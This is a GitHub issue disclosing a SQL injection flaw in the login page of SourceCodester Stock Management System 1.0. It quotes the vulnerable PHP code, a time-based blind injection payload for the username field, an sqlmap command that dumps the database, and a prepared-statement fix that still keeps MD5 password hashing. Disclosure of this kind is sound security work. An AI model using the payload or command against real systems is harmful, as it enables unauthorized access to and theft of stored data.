Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SourceCodester Stock Management System in PHP 1.0 index.php SQL injection vulnerability #43

Open
CveSecLook opened this issue Jun 8, 2024 · 0 comments

Comments

@CveSecLook
Copy link
Owner

SourceCodester Stock Management System in PHP 1.0 index.php SQL injection vulnerability

NAME OF AFFECTED PRODUCT(S)

  • Stock Management System in PHP

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • xuanluansec

Vulnerable File

  • index.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • SQL injection

Root Cause

  • A SQL injection vulnerability was found in the index.php file of the Stock Management System project. This issue arises because user inputs $username and $password from $_POST['username'] and $_POST['password'] are directly used in SQL queries without proper sanitization or validation. This allows attackers to craft input values that can manipulate the SQL query and execute unauthorized operations.

Vulnerability code snippets

 if($_POST) {		

	$username = $_POST['username'];
	$password = $_POST['password'];

	if(empty($username) || empty($password)) {
		if($username == "") {
			$errors[] = "Username is required";
		} 

		if($password == "") {
			$errors[] = "Password is required";
		}
	} else {
		$sql = "SELECT * FROM users WHERE username = '$username'";
		$result = $connect->query($sql);

		if($result->num_rows == 1) {
			$password = md5($password);
			// exists
			$mainSql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
			$mainResult = $connect->query($mainSql);

			if($mainResult->num_rows == 1) {
				$value = $mainResult->fetch_assoc();
				$user_id = $value['user_id'];

				// set session
				$_SESSION['userId'] = $user_id;

				header('location: http://localhost/stock/dashboard.php');	
			} else{
				
				$errors[] = "Incorrect username/password combination";
			} // /else
		} else {		
			$errors[] = "Username doesnot exists";		
		} // /else
	} // /else not empty username // password
	
} // /if $_POST
?> 
  • In the above code, the username and password are directly embedded in the SQL query, making them vulnerable to SQL injection attacks

Impact

  • Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

  • During the security review of the "Stock Management System," xuanluansec discovered a critical SQL injection vulnerability in the index.php file. This vulnerability stems from inadequate validation of user inputs for the username and password parameters, allowing attackers to inject malicious SQL queries. As a result, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information. Immediate remediation is required to secure the system and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability type:

  • MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Vulnerability location:

  • 'username' parameter

Payload:

    username=11' AND (SELECT 5107 FROM (SELECT(SLEEP(5)))kTLs) AND 'iIbh'='iIbh&password=11
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=11' AND (SELECT 5107 FROM (SELECT(SLEEP(5)))kTLs) AND 'iIbh'='iIbh&password=11
  • 1

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

    python sqlmap.py -u "http://20.20.20.128:8117/index.php" --data="username=11&password=11" --batch --dbms=mysql --level=5 --risk=3 --dump
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

Suggested repair

  1. Use preprocessed statements and parameter binding: Prevent SQL injection by using preprocessed statements and parameterized queries. For example, using PDO or MySQL extensions.
  2. Verify and Filter User Input: Verify and filter all user inputs to ensure that the format and type of input data meet expectations.
  3. Secure Password Storage: Use a more secure hash algorithm to store passwords, such as the password_hash function, instead of using simple MD5 or SHA1.

Example code fix:

    if ($_POST) {		
    $username = $_POST['username'];
    $password = $_POST['password'];

    if (empty($username) || empty($password)) {
        if ($username == "") {
            $errors[] = "Username is required";
        } 
        if ($password == "") {
            $errors[] = "Password is required";
        }
    } else {
        // 使用预处理语句防止SQL注入
        $stmt = $connect->prepare("SELECT * FROM users WHERE username = ?");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $result = $stmt->get_result();

        if ($result->num_rows == 1) {
            $password = md5($password);
            // exists
            $stmt = $connect->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
            $stmt->bind_param("ss", $username, $password);
            $stmt->execute();
            $mainResult = $stmt->get_result();

            if ($mainResult->num_rows == 1) {
                $value = $mainResult->fetch_assoc();
                $user_id = $value['user_id'];

                // set session
                $_SESSION['userId'] = $user_id;
            }
        }
    }
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant